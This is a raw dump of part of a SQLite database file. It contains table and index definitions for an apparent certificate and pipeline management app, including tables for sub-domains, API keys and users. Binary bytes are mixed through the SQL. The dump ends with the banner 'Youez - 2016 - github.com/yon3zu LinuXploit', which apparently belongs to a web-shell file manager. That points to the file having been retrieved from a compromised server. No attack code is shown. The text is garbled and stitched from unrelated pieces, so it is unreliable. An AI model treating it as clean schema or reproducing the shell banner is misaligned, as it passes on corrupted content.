  "cert_expires_time" integer,
  "last_check_time"   integer,
  "check_status"      varchar(100),
  "error"             varchar(4096),
  "remark"            varchar(4096),
  "from"              varchar(100),
  "disabled"          boolean  NOT NULL DEFAULT (false),
  "create_time"       datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time"       datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�f''�tablepi_sub_domainpi_sub_domainCREATE TABLE "pi_sub_domain"
(
  "id"          integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"     integer,
  "domain"  varchar(100),
  "disabled"    boolean  NOT NULL DEFAULT (false),
  "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�##�tablecd_open_keycd_open_keyCREATE TABLE "cd_open_key"
(
  "id"          integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "user_id"     integer,
  "key_id"      varchar(50),
  "key_secret"  varchar(100),
  "scope"       varchar(50),
  "disabled"    boolean  NOT NULL DEFAULT (false),
  "create_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP),
  "update_time" datetime NOT NULL DEFAULT (CURRENT_TIMESTAMP)
)�%%�tl+7!�
indexindex_storage_user_idpi_storage-CREATE INDEX "index_storage_user_id" ON "pi_storage" ("user_id")�*?!�9indexindex_storage_default_getpi_storage,CREATE INDEX "index_storage_default_get" ON "pi_storage" ("scope", "namespace", "key")�)E/�)indexindex_pipeline_group_user_idpi_pipeline_group+CREATE INDEX "index_pipeline_group_user_id" ON "pi_pipeline_group" ("user_id")p(9#�indexindex_pipeline_user_idpi_pipeline*CREATE INDEX "index_pipeline_user_id" ON "pi_pipeline" ("user_id")�'A+�!indexindex_notification_user_idpi_notification)CREATE INDEX "index_notification_user_id" ON "pi_notification" ("user_id")�&G)�-indexindex_history_log_pipeline_idpi_history_log(CREATE INDEX "index_history_log_pipeline_id" ON "pi_history_log" ("pipeline_id")|%?)�indexindex_history_log_user_idpi_history_log'CREATE INDEX "index_history_log_user_id" ON "pi_history_log" ("user_id")l$7!�
indexindex_history_user_idpi_history&CREATE INDEX "index_history_user_id" ON "pi_history" ("user_id")�#A+�!indexindex_cname_record_user_idcd_cname_record%CREATE INDEX "index_cname_record_user_id" ON "cd_cname_record" ("user_id")h"5�	indexindex_access_user_idcd_access$CREATE INDEX "index_access_user_id" ON "cd_access" ("user_id")�!I�+indexIDX_9e7164b2f1ea1348bc0eb0a7dasys_user#CREATE UNIQUE INDEX "IDX_9e7164b2f1ea1348bc0eb0a7da" ON "sys_user" ("username")~ I�#indexIDX_223de54d6badbe43a5490450c3sys_role"CREATE UNIQUE INDEX "IDX_223de54d6badbe43a5490450c3" ON "sys_role" ("name")
Youez - 2016 - github.com/yon3zu
LinuXploit